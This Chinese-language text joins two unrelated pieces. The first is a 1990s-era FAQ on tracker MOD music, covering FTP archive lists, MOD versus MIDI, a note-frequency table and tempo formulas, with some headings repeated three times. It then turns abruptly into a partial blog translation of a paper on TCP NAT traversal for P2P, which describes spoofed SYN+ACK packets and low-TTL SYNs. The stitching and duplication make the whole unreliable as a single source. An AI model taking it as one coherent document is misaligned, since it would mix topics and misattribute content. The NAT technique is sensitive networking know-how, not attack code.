>Germany ftp.uni-stuttgart.de pub/aminet/mods
>Germany ftp.uni-siegen.de pub/aminet/mods
>Germany ftp.cs.tu-berlin.de pub/aminet/mods
>UK ftp.doc.ic.ac.uk pub/aminet/mods

另外一个就是著名的ftp.cdrom.com。一个PC Demos以及相关资料的主要站台。在该站台的/pub/demos/music/songs目录下可以找到大量的mod,而且是按格式分类的。由于空间问题,一般的mod都不会在站台上存放超过一个月。镜象如下:
ftp.uwp.edu USA
ftp.luth.se Sweden
ftp.sun.ac.za S.Africa
ftp.uni-erlangen.de Germany
ftp.uni-paderborn.de Germany
ftp.cdrom.com USA

GUS FTP站台也有一些mod。存放在sound/*目录下, 站台是:

Main N.American Site:
archive.orst.edu pub/packages/gravis
wuarchive.wustl.edu systems/ibmpc/ultrasound

Main Asian Site: nctuccca.edu.tw PC/ultrasound

European Callers ONLY: theoris.rz.uni-konstanz.de pub/sound/gus
Submissions: archive.epas.utoronto.ca pub/pc/ultrasound/submit

Newly Validated Files: archive.epas.utoronto.ca pub/pc/ultrasound
Mirrors: garbo.uwasa.fi mirror/ultrasound

Mailserver for Archive Access: Email to mail-server@nike.rz.uni-konstanz.de

下面是从MOD排行榜列表中抄出来的,未经验证:

archie.au /micros/amiga/incoming/mods
ftp.germany.eu.net /pub/comp/amiga/mods
ftp.informatik.uni-rostock.de /pub/amiga/mods
ftp.uni-kl.de /pub/amiga/wuarchive/mods 和 /incoming/amiga/mods
ftp.uni-muenster.de /pub/sounds/
ftp.uni-oldenburg.de /pub/amiga/incoming/mods
ftp.brad.ac.uk /misc/mods/ and /incoming/mods/
ftp.funet.fi (128.214.6.100) /pub/amiga/audio/modules
geocub.greco-prog.fr /pub/incoming/amiga/mods
ftp.luth.se /pub/OS/amiga/mods
lysator.liu.se /pub/amiga/mods
ftp.uwp.edu (cs.uwp.edu)
 /pub/music/sounds/mods
 /pub/music/lists/btl/mods
 /pub/incoming/sounds/mods
 /pub/incoming/msdos/modplayer/mods ftp.cso.uiuc.edu /pub/amiga
ftp.mcs.kent.edu /pub/SB-Adlib/ntmods
wuarchive.wustl.edu  /systems/amiga/incoming/mods
 /systems/amiga/audio/music
 /mirrors4/amiga.physik.unizh.ch/amiga/mods

  KFMF, 原来的KLF, 世界最主要的PC mod团体,有两个FTP站台:
ftp://freedom.wit.com/klf/songs/
ftp://ftp.luth.se/pub/misc2/kosmic/songs

  还有:
hobbes.nmsu.edu /os2/32bit/multimedia/mod
condor.res.cmu.edu

[0] 目录

[6.2] WWW


Here’s a little-known fact concerning the Web (one that I’ve picked up on and sprinkled liberally throughout the links to Aminet): Aminet is available in a few spots via HTTP. The home site, being ftp.wustl.edu, of course, is accessible at
http://ftp.wustl.edu/~aminet/index.html.
All aminet files are accessible through wuarchive’s http system (eliminating the need to wait "for usage to go down") at http://ftp.wustl.edu/systems/amiga/aminet/*.
Extending this information on 5 May 95, Zigg tells us that another way to Aminet via HTTP is by accessing freedom.wit.com at: http://freedom.wit.com/mirrors/amiga/...

Zigg has also set up the Virtual Music Page, which you’ll find at:
http://www2.gvsu.edu/~behrensm/vmp/index.html.

Dan (Maelcum/KFMF) dan@bepcp.bowker.com wrote to the KLF-List on 2 Feb 95:
The KFMF WWW site will soon be:
http://kosmic.wit.com/~kosmic/It might (still) be:
http://freedom.wit.com/~klf/klfhome.html
and/or
http://ftp.luth.se/pub/misc2/kosmic/www/
And Jason M. Spangler jasons@cis.ysu.edu tells us on 31 Oct 1994:
Just thought I’d tell everyone I updated, re-organized, and moved my module FTP site page… it’s now at:
http://www.ysu.edu/~jasons/mod/index.html

Tim Gerchmez future@eskimo.com posted to a.b.s.mods on 28 Apr 95:
Check out my MOD page on the Worldwide Web. As far as I know, it’s now thebest and most comprehensive source of info on MODs (jester’s note: Ahem! ;) )
and related topics on the Web. It can be accessed via a graphical browser (recommended) and is also Lynx-friendly.
http://www.eskimo.com/~future/mods.htm
David McConville id@calypso-2.oit.unc.edu let us know on 3 Mar 95:
Just letting you know that we’ve got a full mirror of the funet.fi mod archive at:
http://sunsite.unc.edu/pub/multimedia/mods

[0] 目录

[7] 分发Mods


当你已经厌倦了听别人的创作,并且已经掌握TRACKER的使用并最终拿出了一些你觉得是杰作或至少应该和其他人一起分享的东西,那你就应该把这个东西散发出去。

[0] 目录

[7.1] 压缩


在散发一个module之前先把它压缩永远是一个好主意。特别是传统电信系统传输(比如电话线),数据压缩可以减少大量的传输时间和带宽。有几个主要的压缩工具(归档器),比如LHA/LHarc,PKZIP,ARJ,RAR等等。LHA主要AMIGA上使用,在PC平台上也有。在MS-DOS平台上最流行的应该就是ZIP了。当然你也可以使用其他的压缩工具,但后果是你的作品的可传播性大打折扣。

要注意的是即使LHA/LHarc生成的压缩文件一般可以跨平台兼容,用户还是要对系统的有限性提高警惕。如果文件名和扩展名调转了这还容易改正,但其他的不兼容性会严重阻碍散发你的作品。具体请参阅有关文挡。

附录


附录1:Module文件格式的通用属性



附录1:Module文件格式的通用属性



附录1:Module文件格式的通用属性


  不过是大堆的字节而已嘛!哈哈!;)行了,现在严肃点:

  所有的mod文件都包含有一个文件头,用于标识文件及其格式。它也包括歌曲的名字和歌曲里面带有的pattern数。通常在文件头的后面跟着就是pattern和时序信息。最后,文件包含的是sample数据。通常这东西占据了一个mod文件的大部分空间。随着今天的文件格式越来越先进,只有大家都携带的信息才能拿出来谈谈。想要特定的某种格式的详细资料,请参阅该格式的描述文档。通常可以从相关的TRACKER中得到。也可以到如下站台得到一些文档:
ftp.cdrom.com/pub/demos/music/text
  或者在本站台的资料下载区下载。

[0] 目录

附录2:Mods和MIDI,那个好?
  为什么我们要在mod和MIDI之间作出选择?音乐就是音乐,可惜这个世界并不是那么简单,错误地使用了错误的格式音乐就会变成噪音。而且人生就是这样总是要你在这个那个之间做出选择…扯得太远就不说了…

  在本文的前边已经说过,MIDI和mod的根本区别就在于mod带有sample信息而MIDI没有。其次就是mod的播放控制完全是通过软件进行同步,而MIDI则依赖于MIDI硬件。mod具有硬件独立性,一般地应该在所有的硬件上的播放效果都是完全一样的(除了播放器的问题或者硬件条件太差之外)。在另一方面,MIDI设备完全是按照自己的意愿来产生乐器的声音,有些的效果比较好,有些却是无法忍受的。但所有的MIDI硬件都互相兼容。还有就是MIDI设备使用的是一个标准的预定义了的带有128种乐器的乐器集,称为通用MIDI(General MIDI)。所以你一般只能使用这128种乐器来作曲。

  MIDI和mod也有其相同点,比如说象混音,版本,和原创信息等,这些东西都可以存在于MIDI和mod中。所以在音乐格式和音乐类型之间是没有特定关系的。

  当然,随着时代的进步,出现了DLS这种东西。DLS,即DOWNLOADBLE SOUND,在PCI声音卡上可见。这种技术提供了把系统内存作为声音卡的波表内存的功能,结果就是使得MIDI的播放摆脱了GM的限制,从声音的质量到效果都有很大的提高(这种技术让人觉得是抄mod的)。但这种技术有一些缺点:首先是歌曲的传播问题。一个听上去象样的MIDI所携带的波表资料文件比一首完整的mod要大上数倍。即使压缩后一张软盘也根本不可能带走。另外就是硬件问题,这种技术仅限于运行WINDOWS平台的PC机(虽然这是主流),而且对用户的要求高:32M内存以上(内存也不贵),PCI声音卡(也很便宜),由于是硬件操作,所以对CPU没有要求。机器条件差的用户根本无法欣赏到音乐。

  说了这么多,现在来总结一下:如果你觉得高级编曲系统和专业质量比较重要的话,选择MIDI。如果设备独立性和容易传播散发,并且代价低廉更重要的话,选择mod。

[0] 目录

附录3:MOD排行榜


MOD排行榜列出了前一百位受欢迎的mod作品。下面是有关的站台,可能有点旧。
MODCHARTS SITE LIST November 1994

AUSTRALIA:
archie.au /micros/amiga/aminet/mods/chart

GERMANY:
ftp.uni-muenster.de /pub/sounds/modcharts, /MODPLAYER (pc)
ftp.cs.tu-berlin.de /pub/aminet/mods/chart
ftp.informatik.uni-rostock.de /pub/amiga/mods/charts
ftp.th-darmstadt.de /pub/aminet/mods/chart
ftp.uni-erlangen.de /pub/aminet/mods/chart
ftp.uni-kl.de /pub/aminet/mods/chart
ftp.uni-paderborn.de /pub/aminet/mods/chart

SWEDEN:
ftp.luth.se /pub/aminet/mods/chart

SWITZERLAND:
ftp.eunet.ch /pub/aminet/mods/chartlit
amiga.epfl.ch /pub/aminet/mods/chart

GREAT BRITAIN:
src.doc.ic.ac.uk /computing/systems/amiga/mods/chart

U.S.A.:
ftp.etsu.edu /pub/aminet/mods/chart
ftp.wustl.edu /pub/aminet/mods/chart
wasp.eng.ufl.edu /pub/msdos/demos/music/MOD_CHARTS
wuarchive.wustl.edu /pub/aminet/mods/chart

[0] 目录

附录4:音符频率表


  使用这个表计算走调乐器的采样率。比如,如果你有一个乐器在8363HZ演奏的是A-2但你想它演奏C-2,正确的采样率是8363*261.7/440HZ=4974HZ。所有的数值均以HZ为单位。

  C – 261.7 E – 329.6 G# – 415.3
C# – 277.2 F – 349.2 A – 440.0D – 293.7 F# – 370.0 A# – 466.2
D# – 311.1 G – 392.0 B – 493.9

记住把采样率乘以二就提升该声音一个八度音阶,减半则降一个八度。

[0] 目录

附录5:其他一些问题。


1) 怎样正确地重放mod?



1) 怎样正确地重放mod?



1) 怎样正确地重放mod?


  有人会以为MOD是一种标准格式,不走运的是,它不再是了。即使是在AMIGA计算机上,早期的MOD也因PAL和NTSC两种制式的不同而产生时序方面的不兼容。

  虽然大多数的TRACKER都可以写MOD格式,但实际上很多TRACKER都是有着不兼容的情况的。在这一方面,只有PROTRACKER才被认为是MOD的标准。在创作MOD的时候,要注意的主要两点是准确性和质量。注意几乎根本是没有准确性可言的。另外,即使是MOD的格式文档也可能存在着许多不同的情况。所以,不要相信任何除PROTRACKER之外的资料。

[0] 目录

2) 如何计算正确的mod播放速度?




  本节主要适用于MOD和S3M(其他的格式也可能有用)   在mod里有两个播放速度设定,一个是TICKS-PER-ROW,每行多少个滴嗒(简称为TPR)和另外一个,称为BPM(BEATS PER MINUTE)。

  BPM表示了在一个滴嗒里花费的时间。默认的BPM速度是十进制的125(十六进制的70)。 一个滴嗒等于0.02秒。因此,滴嗒时间=0.02(0.02 * 125 / BPM) 秒 = (2.5 / BPM)秒。

  TPR速度把制定数目的滴嗒组合到一个ROW里。比如,指定一个TPR速度是一个ROW里有四个GROUP,每个GROUP有四个滴嗒。

  所以,如果你把BPM速度设为150,并且TPR速度为4,一个滴嗒就会持续六十分之一秒,并且一个ROW里有4个这样的滴嗒。因此一个ROW会持续4/60=十五分之一秒,一个64个ROW的PATTERN药用64/15=4.2667秒来演奏。

  MOD的速度设定是通过Fxx命令实现的。xx是十六进制数,范围从1到1F(十六进制)。
  TPR速度是已经设定好了的。F20到FFF表示BPM速度。为零的速度设定将被忽略。相应的S3M命令是Axx(TPR速度)和Txx(BPM速度)。

P2P 之 TCP穿透NAT的原理

P2P 之 TCP穿透NAT的原理
翻译:navy
原文:http://www.andrew.cmu.edu/user/ggw/WBFD.pdf

由于工作需要,在网上找了很长时间P2P的资料,好像只有《P2P 之 UDP穿透NAT的原理与实现(附源代码)》比较有实际意义,可惜又是用UDP实现的,无奈只好找了份英文资料啃,发现很有参考价值,就根据理解翻译了一部分,分享给大家,由于水平有限,有错望多多包涵。如果有人能够继续翻译下去别忘了通知我哦呵呵,wanfeng_001@126.com,感谢。

摘要
防火墙和网络地址转换(NAT)设备对于传统的P2P协议存在一定的问题。一些中间设备抑制了来自外部网络到内部网络的TCP请求,这篇文章的目的就是寻找一个能够在两个NAT设备内部的主机间建立TCP连接的方法。我们已经在两个普通的硬件条件下实现了这个功能。

1.入门
由于32位IP地址的减少,现在出现了很多通过一个internet地址代理内部网络上网的设备,这就是NAT技术。这些设备对于INTERNET已经越来越重要了,但是它们的独立发展因为缺乏标准而对现在的internet协议造成危害。

2.技术
典型的NAT和防火墙设备都是不允许外部地址主动请求而进入内部网络的,如果用户的程序需要在两个内部网络间建立直接性的连接,那么两个内部设备之间必须是相互信任的。如果A和B两个部分都初始化了TCP连接,NAT设备就会认为它们之间是相互信任的,也就允许它们之间的连接了。
图1是一个例子,目标是能够让A和B(分别在NATA和NATB后)建立TCP连接。
我们讨论了多种在特定的NAT设备环境下的TCP连接方案。
如果我们的情况如下:
1、可预测NA的端口,可预测NB的端口,可指定源IP的特定路由
2、可预测NA的端口,可预测NB的端口,不可指定源IP的特定路由
3、随机的NA端口,可预测NB的端口,可指定源IP的特定路由
4、随机的NA端口,可预测NB的端口,不可指定源IP的特定路由
5、随机的NA端口,随机的NB端口,可指定源IP的特定路由
6、随机的NA端口,随机的NB端口,不可指定源IP的特定路由

我们必须作出这4种假设:
1、 两个主机都不受NAT设备所限制;
2、 我们可以配置网络设备使得主机看不到来自外部网络的ICMP包(TTL超过限制),因为这些ICMP数据包无论被任何一方接收到都是中断TCP连接。我们讨论的一些解决方案就依赖通过发送一个初始TTL很小的SYN包来建立TCP连接。一旦SYN包被路由器丢弃,ICMP TTL 超时包就会被传送到NAT设备,我们不允许NAT设备将这个超时TTL的返回包传送到内部网络,即使NAT会将这个包传送到内部,也需要通过配置防火墙来限制这个包到达主机;
3、 即使NAT设备看到ICMP超时的数据包,设备本身的映射表将不会作任何改动;
4、 内部网络的其它主机不会占用抢占这个端口,因为如果网络特别繁忙,这个端口可能会无效。

3.1第一种情况
我们可以通过图2表示的顺序解决问题:
1)A和B可以设定LSR(IP报头中的一个选项)通过X路由发送SYN数据包.
2)X可以缓存它们的数据包并且发送欺骗的SYN+ACKS给NA和NB.
3)A和B可以通过由X发送来的数据进行应答.
4)X丢弃这两个ACK包,因为它已经可以确定A和B相互应答成功.

 
 
 
 
图2是假设A和B都事先彼此的NAT的通信端口,A知道B的通信端口是NB:5000,B知道A的是NA:4000,并且要求X不在任何NAT设备的后面.实际中这两个端口是预测得到的,预测过程如图3:
 
 
3.2第二种情况
第一种情况依赖与自由设定路由,但是现在很多路由器大多都限制这样做,并且会丢弃这样的服务请求包。因此在实际应用中,这种方案失败的可能性很大。如果自由设定路由不可行,我们可以通过out-of-band通道(他们预先与X连接好的TCP连接)来传送原本必须将数据包路由到X才能看到的包。注意在图二的第二步X已经知道了TCP的序号Q和P,因为X已经收到了这两个SYN包,但是如果数据包没有路由经过X就不可能收到它们。为了初始化这个连接,两个主机发送初始SYN包,并且他们都知道是不可能到达目标的,但是它们都可以记住自己的SYN号(个人看法,通过钩子获得发送的数据SYN包)并且可以发送给X,X得到了它们的SYN包,就可以欺骗它们发送ACK包了。有两种方法可以发送无法到达目标的数据包。简单的方法就是每个主机发送一个SYN给对方,要求应答包不会到达内部网络.如果NAT(防火墙)会将应答包传回给内部网络,通常是发送TCP的reset包(RST),如果NAT生成RST包,A和B就不能简单地发送一个向图2中SYN给彼此,因为如果这样NA和NB就无法打洞了呵呵,如果NAT不发送RST包,那么这个TCP连接就不会被中断。另外一个发送无法到达目标网络的SYN包的方法是减小TTL值,使它们无法彼此到达。如果用户无法配置防火墙丢弃这个ICMP应答包,或者NAT不继续传送这个ICMP,这个TCP就不会立即关闭。这个解决方案不能使用一种简单的欺骗,因为我们必须保证源地址的SYN包发送者不会没有收到ICMP的RST包,否则会导致中间设备建立错误路由.仅仅依靠SYN包,NAT就可以建立从internet IP和端口到外部IP和端口的路由.由于欺骗的SYN包是错误的源IP(并非发出者X),这个路由将不会发送到X而是发送到NA或者NB。另外,这种方案都需要设置TTL到足够小,以便于对方的NAT不会收到到各自发出的初始SYN包,否则就无法完成打洞。(图4)
 
 
 3.3第三种情况
比前两种简单,但是X将无法预见NA或者NB的端口。B将先给X发送一个SYN包告诉以便于X知道它所选用的端口号,然后X将这个信息发送到A,A就可以向这个确定的地址和端口发送SYN,图5是第一种情况的变形::
1)X向图3一样预测端口,但是它不能预测到NA的下一个端口号,但是可以预测NB的下一个端口号是5000,并且可以通知A和B这个节点已经建立了连接;
2)A和B同步节点X;
3)X可以欺骗A和B;
4)A和B相互发送ACK;
5)X丢弃发给它的ACK,因为它已经可以确认它们已经建立连接。